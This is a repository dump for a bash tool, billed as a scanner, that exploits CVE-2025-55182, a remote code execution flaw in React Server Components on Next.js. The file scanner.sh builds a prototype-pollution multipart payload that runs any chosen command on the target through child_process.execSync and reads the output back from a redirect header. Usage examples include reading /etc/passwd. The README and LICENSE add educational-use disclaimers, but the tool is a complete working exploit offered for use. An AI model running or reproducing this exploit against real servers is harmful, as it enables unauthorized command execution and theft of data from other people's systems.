├── LICENSE ├── README.md └── scanner.sh /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | --- 24 | 25 | DISCLAIMER: This software is provided for educational and authorized security 26 | testing purposes only. The authors are not responsible for any misuse of this 27 | code. Unauthorized access to computer systems is illegal. 28 | 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # CVE-2025-55182 Scanner 4 | 5 | Simple command-line tool for detecting and exploiting CVE-2025-55182 (React Server Components RCE) in Next.js applications. 6 | scanner 7 | 8 | ## Installation 9 | 10 | ```bash 11 | chmod +x scanner.sh 12 | ``` 13 | 14 | ## Usage 15 | 16 | ```bash 17 | # Scan with default command (id) 18 | ./scanner.sh -d example.com 19 | 20 | # Execute custom command 21 | ./scanner.sh -d example.com -c "whoami" 22 | 23 | # With full URL 24 | ./scanner.sh -d https://example.com -c "uname -a" 25 | ``` 26 | 27 | ## Options 28 | 29 | - `-d, --domain` - Target domain/URL (required) 30 | - `-c, --command` - Command to execute (default: `id`) 31 | 32 | ## Examples 33 | 34 | ```bash 35 | # Check if target is vulnerable 36 | ./scanner.sh -d vulnerable-app.com 37 | 38 | # Get system information 39 | ./scanner.sh -d vulnerable-app.com -c "uname -a" 40 | 41 | # List files 42 | ./scanner.sh -d vulnerable-app.com -c "ls -la /tmp" 43 | ``` 44 | 45 | ## Requirements 46 | 47 | - Bash 48 | - curl 49 | - openssl 50 | 51 | ## Disclaimer 52 | 53 | This tool is for **educational and authorized security testing purposes only**. Do not use against systems you don't own or have permission to test. 54 | 55 | ## References 56 | 57 | - [CVE-2025-55182](https://cloud.projectdiscovery.io/library/CVE-2025-55182) 58 | - [React Security Advisory](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components) 59 | -------------------------------------------------------------------------------- /scanner.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # CVE-2025-55182 Advanced Scanner 4 | # A comprehensive tool for detecting and exploiting CVE-2025-55182 in Next.js applications 5 | # Based on the Nuclei template from: https://cloud.projectdiscovery.io/library/CVE-2025-55182 6 | # 7 | # Usage: 8 | # ./scanner.sh -d -c 9 | # ./scanner.sh -d vulnapp.com -c id 10 | # ./scanner.sh -d http://localhost:3000 -c "ping -c 3 google.com" 11 | # ./scanner.sh -d vulnapp.com -c "cat /etc/passwd" 12 | 13 | VERSION="1.0.0" 14 | DOMAIN="http://localhost:3000" 15 | CMD="id" 16 | 17 | # Colors for output 18 | RED='\033[0;31m' 19 | GREEN='\033[0;32m' 20 | YELLOW='\033[1;33m' 21 | BLUE='\033[0;34m' 22 | CYAN='\033[0;36m' 23 | MAGENTA='\033[0;35m' 24 | NC='\033[0m' # No Color 25 | 26 | # Print banner 27 | print_banner() { 28 | echo -e "${BLUE}" 29 | echo "╔════════════════════════════════════════════════════════════╗" 30 | echo "║ CVE-2025-55182 Advanced Scanner v${VERSION} ║" 31 | echo "║ React Server Components RCE Scanner ║" 32 | echo "╚════════════════════════════════════════════════════════════╝" 33 | echo -e "${NC}" 34 | } 35 | 36 | # Print usage 37 | print_usage() { 38 | echo "Usage: $0 [OPTIONS]" 39 | echo "" 40 | echo "Options:" 41 | echo " -d, --domain Target domain/URL (default: http://localhost:3000)" 42 | echo " If no protocol specified, defaults to https://" 43 | echo " -c, --command Command to execute (default: id)" 44 | echo " -h, --help Show this help message" 45 | echo "" 46 | echo "Examples:" 47 | echo " $0 -d vulnapp.com -c id" 48 | echo " $0 -d http://localhost:3000 -c \"ping -c 3 google.com\"" 49 | echo " $0 -d vulnapp.com -c \"cat /etc/passwd\"" 50 | echo "" 51 | } 52 | 53 | # Parse command-line arguments 54 | parse_args() { 55 | while [[ $# -gt 0 ]]; do 56 | case $1 in 57 | -d|--domain) 58 | DOMAIN="$2" 59 | # Add https:// if no protocol specified (most production sites use HTTPS) 60 | if [[ ! "$DOMAIN" =~ ^https?:// ]]; then 61 | DOMAIN="https://${DOMAIN}" 62 | fi 63 | shift 2 64 | ;; 65 | -c|--command) 66 | CMD="$2" 67 | shift 2 68 | ;; 69 | -h|--help) 70 | print_usage 71 | exit 0 72 | ;; 73 | *) 74 | echo -e "${RED}Unknown option: $1${NC}" 75 | print_usage 76 | exit 1 77 | ;; 78 | esac 79 | done 80 | } 81 | 82 | # Main execution 83 | main() { 84 | print_banner 85 | 86 | parse_args "$@" 87 | 88 | # Display scan configuration 89 | echo -e "${BLUE}┌─ Scan Configuration ─────────────────────────────────────────┐${NC}" 90 | echo -e "${BLUE}│${NC} Target: ${CYAN}${DOMAIN}${NC}" 91 | echo -e "${BLUE}│${NC} Command: ${YELLOW}${CMD}${NC}" 92 | echo -e "${BLUE}└──────────────────────────────────────────────────────────────┘${NC}" 93 | echo "" 94 | 95 | # Generate random IDs as per template 96 | REQUEST_ID=$(openssl rand -hex 4 2>/dev/null | tr '[:upper:]' '[:lower:]' || echo "$(date +%s | sha256sum | cut -c1-8)") 97 | NEXTJS_HTML=$(openssl rand -hex 10 2>/dev/null || echo "$(date +%s | sha256sum | cut -c1-21)") 98 | 99 | BOUNDARY="----WebKitFormBoundaryx8jO2oVc6SWP3Sad" 100 | 101 | # Escape the command for JSON (escape single quotes, backslashes, and newlines) 102 | ESCAPED_CMD=$(echo "$CMD" | sed "s/'/\\\\'/g" | sed 's/\\/\\\\/g' | tr -d '\n') 103 | 104 | # Create temporary file with multipart form data using CRLF line endings 105 | TMPFILE=$(mktemp) 106 | 107 | # Build the JSON payload with the escaped command 108 | PAYLOAD_JSON="{\"then\":\"\$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"\$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('${ESCAPED_CMD}').toString().trim().replace(/\\\\n/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: \`NEXT_REDIRECT;push;/login?a=\${res};307;\`});\",\"_chunks\":\"\$Q2\",\"_formData\":{\"get\":\"\$1:constructor:constructor\"}}}" 109 | 110 | printf '%s\r\n' \ 111 | "------WebKitFormBoundaryx8jO2oVc6SWP3Sad" \ 112 | 'Content-Disposition: form-data; name="0"' \ 113 | "" \ 114 | "${PAYLOAD_JSON}" \ 115 | "------WebKitFormBoundaryx8jO2oVc6SWP3Sad" \ 116 | 'Content-Disposition: form-data; name="1"' \ 117 | "" \ 118 | '"$@0"' \ 119 | "------WebKitFormBoundaryx8jO2oVc6SWP3Sad" \ 120 | 'Content-Disposition: form-data; name="2"' \ 121 | "" \ 122 | '[]' \ 123 | "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--" \ 124 | > "$TMPFILE" 125 | 126 | # Show sending request message 127 | echo -e "${CYAN}[*]${NC} Sending request to ${CYAN}${DOMAIN}${NC}..." 128 | 129 | # Send the request exactly as in the Nuclei template 130 | RESPONSE=$(curl -s -i -X POST "${DOMAIN}" \ 131 | -H "Next-Action: x" \ 132 | -H "X-Nextjs-Request-Id: ${REQUEST_ID}" \ 133 | -H "X-Nextjs-Html-Request-Id: ${NEXTJS_HTML}" \ 134 | -H "Content-Type: multipart/form-data; boundary=${BOUNDARY}" \ 135 | -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \ 136 | --max-time 15 \ 137 | --data-binary "@${TMPFILE}" 2>&1) 138 | 139 | # Extract the command result from X-Action-Redirect header (as per template matcher) 140 | CMD_RESULT=$(echo "$RESPONSE" | grep -i "x-action-redirect" | sed -n 's/.*\/login?a=\([^;]*\).*/\1/p' | head -1) 141 | 142 | # Cleanup 143 | rm -f "$TMPFILE" 144 | 145 | if [ -n "$CMD_RESULT" ]; then 146 | # URL decode the result 147 | if command -v python3 >/dev/null 2>&1; then 148 | DECODED_RESULT=$(echo "$CMD_RESULT" | python3 -c "import sys, urllib.parse; sys.stdout.write(urllib.parse.unquote(sys.stdin.read()))") 149 | else 150 | # Fallback URL decoding 151 | DECODED_RESULT=$(echo "$CMD_RESULT" | sed -e 's/%20/ /g' -e 's/%21/!/g' -e 's/%22/"/g' -e 's/%23/#/g' -e 's/%24/$/g' -e 's/%25/%/g' -e 's/%26/\&/g' -e "s/%27/'/g" -e 's/%28/(/g' -e 's/%29/)/g' -e 's/%2A/*/g' -e 's/%2B/+/g' -e 's/%2C/,/g' -e 's/%2D/-/g' -e 's/%2E/./g' -e 's/%2F/\//g' -e 's/%3A/:/g' -e 's/%3B/;/g' -e 's/%3C//g' -e 's/%3F/?/g' -e 's/%40/@/g' -e 's/%5B/[/g' -e 's/%5C/\\/g' -e 's/%5D/]/g' -e 's/%5E/^/g' -e 's/%5F/_/g' -e 's/%60/`/g' -e 's/%7B/{/g' -e 's/%7C/|/g' -e 's/%7D/}/g' -e 's/%7E/~/g' -e 's/%0A/\n/g' -e 's/%0D//g') 152 | fi 153 | 154 | # Convert pipe separators back to newlines (payload replaces \n with ' | ') 155 | DECODED_RESULT=$(echo "$DECODED_RESULT" | sed 's/ | /\n/g') 156 | 157 | # Display result with nice formatting 158 | echo -e "${GREEN}[+]${NC} Command executed successfully!" 159 | echo "" 160 | echo -e "${YELLOW}┌─ Command Output ────────────────────────────────────────────┐${NC}" 161 | 162 | # Use temporary file to handle newlines properly 163 | TMP_OUTPUT=$(mktemp) 164 | printf '%s' "$DECODED_RESULT" > "$TMP_OUTPUT" 165 | 166 | # Display each line with proper formatting 167 | while IFS= read -r line || [ -n "$line" ]; do 168 | echo -e "${YELLOW}│${NC} $line" 169 | done < "$TMP_OUTPUT" 170 | 171 | echo -e "${YELLOW}└──────────────────────────────────────────────────────────────┘${NC}" 172 | echo "" 173 | 174 | rm -f "$TMP_OUTPUT" 175 | exit 0 176 | else 177 | # Check for common error patterns 178 | echo -e "${RED}[!]${NC} Command execution failed" 179 | echo "" 180 | 181 | if echo "$RESPONSE" | grep -qi "403\|Forbidden"; then 182 | echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}" 183 | echo -e "${RED}║${NC} ${RED}Error: Access forbidden (403)${NC}" 184 | echo -e "${RED}║${NC} WAF or firewall may be blocking the request" 185 | echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}" 186 | elif echo "$RESPONSE" | grep -qi "timeout\|Connection timed out"; then 187 | echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}" 188 | echo -e "${RED}║${NC} ${RED}Error: Connection timeout${NC}" 189 | echo -e "${RED}║${NC} The server did not respond in time" 190 | echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}" 191 | elif echo "$RESPONSE" | grep -qi "SSL\|certificate"; then 192 | echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}" 193 | echo -e "${RED}║${NC} ${RED}Error: SSL certificate issue${NC}" 194 | echo -e "${RED}║${NC} Try using http:// instead of https://" 195 | echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}" 196 | elif echo "$RESPONSE" | grep -qi "500\|Internal Server Error"; then 197 | echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}" 198 | echo -e "${RED}║${NC} ${RED}Error: Server error (500)${NC}" 199 | echo -e "${RED}║${NC} Server may not be vulnerable or payload was rejected" 200 | echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}" 201 | else 202 | echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}" 203 | echo -e "${RED}║${NC} ${RED}Error: Command execution failed${NC}" 204 | echo -e "${RED}║${NC} No result returned - target may not be vulnerable" 205 | echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}" 206 | fi 207 | echo "" 208 | exit 1 209 | fi 210 | } 211 | 212 | # Run main function 213 | main "$@" 214 | --------------------------------------------------------------------------------